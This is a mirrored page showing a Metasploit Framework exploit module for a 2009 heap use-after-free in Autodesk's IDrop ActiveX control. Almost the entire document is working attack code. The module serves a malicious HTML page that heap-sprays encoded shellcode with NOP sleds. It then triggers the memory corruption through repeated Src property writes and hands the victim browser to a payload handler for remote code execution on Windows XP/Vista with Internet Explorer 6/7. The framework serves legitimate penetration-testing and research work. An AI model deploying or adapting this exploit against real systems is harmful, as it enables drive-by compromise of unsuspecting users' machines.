CoCalc -- autodesk

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/browser/autodesk_idrop.rb
¹⁹⁸¹² views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = NormalRanking
8

9
  include Msf::Exploit::Remote::HttpServer::HTML
10

11
  def initialize(info = {})
12
    super(
13
      update_info(
14
        info,
15
        'Name' => 'Autodesk IDrop ActiveX Control Heap Memory Corruption',
16
        'Description' => %q{
17
          This module exploits a heap-based memory corruption vulnerability in
18
          Autodesk IDrop ActiveX control (IDrop.ocx) version 17.1.51.160.
19
          An attacker can execute arbitrary code by triggering a heap use after
20
          free condition using the Src, Background, PackageXml properties.
21
        },
22
        'License' => MSF_LICENSE,
23
        'Author' => [
24
          'Elazar Broad <elazarb[at]earthlink.net>', # Original exploit [see References]
25
          'Trancer <mtrancer[at]gmail.com>' # Metasploit implementation
26
        ],
27
        'References' => [
28
          [ 'OSVDB', '53265' ],
29
          [ 'BID', '34352' ],
30
          [ 'EDB', '8560' ],
31
          [ 'URL', 'http://marc.info/?l=full-disclosure&m=123870112214736' ],
32
        ],
33
        'DefaultOptions' => {
34
          'EXITFUNC' => 'process',
35
        },
36
        'Payload' => {
37
          'Space' => 1024,
38
          'BadChars' => "\x00\x09\x0a\x0d'\\",
39
          'StackAdjustment' => -3500,
40
        },
41
        'Platform' => 'win',
42
        'Targets' => [
43
          [ 'Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0-2 & IE 7.0', { 'Offset' => 900, 'Ret' => 0x0C0C0C0C } ]
44
        ],
45
        'DisclosureDate' => '2009-04-02',
46
        'DefaultTarget' => 0,
47
        'Notes' => {
48
          'Reliability' => UNKNOWN_RELIABILITY,
49
          'Stability' => UNKNOWN_STABILITY,
50
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
51
        }
52
      )
53
    )
54
  end
55

56
  def autofilter
57
    false
58
  end
59

60
  def check_dependencies
61
    use_zlib
62
  end
63

64
  def on_request_uri(cli, request)
65
    # Re-generate the payload
66
    return if ((p = regenerate_payload(cli)) == nil)
67

68
    # Encode the shellcode
69
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
70

71
    # Setup exploit buffers
72
    nops = Rex::Text.to_unescape([target.ret].pack('V'))
73
    blocksize = 0x40000
74
    fillto = 550
75
    offset = target['Offset']
76

77
    # Randomize the javascript variable names
78
    idrop = rand_text_alpha(rand(100) + 1)
79
    j_function = rand_text_alpha(rand(100) + 1)
80
    j_shellcode = rand_text_alpha(rand(100) + 1)
81
    j_nops = rand_text_alpha(rand(100) + 1)
82
    j_headersize = rand_text_alpha(rand(100) + 1)
83
    j_slackspace = rand_text_alpha(rand(100) + 1)
84
    j_fillblock = rand_text_alpha(rand(100) + 1)
85
    j_block = rand_text_alpha(rand(100) + 1)
86
    j_memory = rand_text_alpha(rand(100) + 1)
87
    j_counter = rand_text_alpha(rand(30) + 2)
88
    j_ret = rand_text_alpha(rand(100) + 1)
89
    j_mem = rand_text_alpha(rand(100) + 1)
90

91
    # Build out the message
92
    content = %Q|
93
<html>
94
<head>
95
<script language='javascript' defer>
96
function #{j_function}() {
97
  #{j_shellcode}=unescape('#{shellcode}');
98
  #{j_nops}=unescape('#{nops}');
99
  #{j_headersize}=20;
100
  #{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;
101
  while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};
102
  #{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});
103
  #{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});
104
  while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};
105
  #{j_memory}=new Array();
106
  for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};
107

108
  var #{j_ret} = '';
109
  for (#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++) {
110
    #{j_ret} += unescape('%u0a0a');
111
  }
112
  for(#{j_counter}=0;#{j_counter}<20;#{j_counter}++) {
113
    try {
114
      var #{j_mem} = #{idrop}.Src;
115
      #{idrop}.Src = 'http://' + #{j_ret};
116
      #{idrop}.Src = #{j_mem};
117
      #{idrop}.Src = 'http://' + #{j_ret};
118
    } catch(e){}
119

120
  }
121
}
122
</script>
123
</head>
124
<body onload='return #{j_function}();'>
125
<object classid='clsid:21E0CB95-1198-4945-A3D2-4BF804295F78' id='#{idrop}'></object>
126
</body>
127
</html>
128
      |
129

130
    print_status("Sending #{self.name}")
131

132
    # Transmit the response to the client
133
    send_response_html(cli, content)
134

135
    # Handle the payload
136
    handler(cli)
137
  end
138
end
139

140
Product

Resources

Company
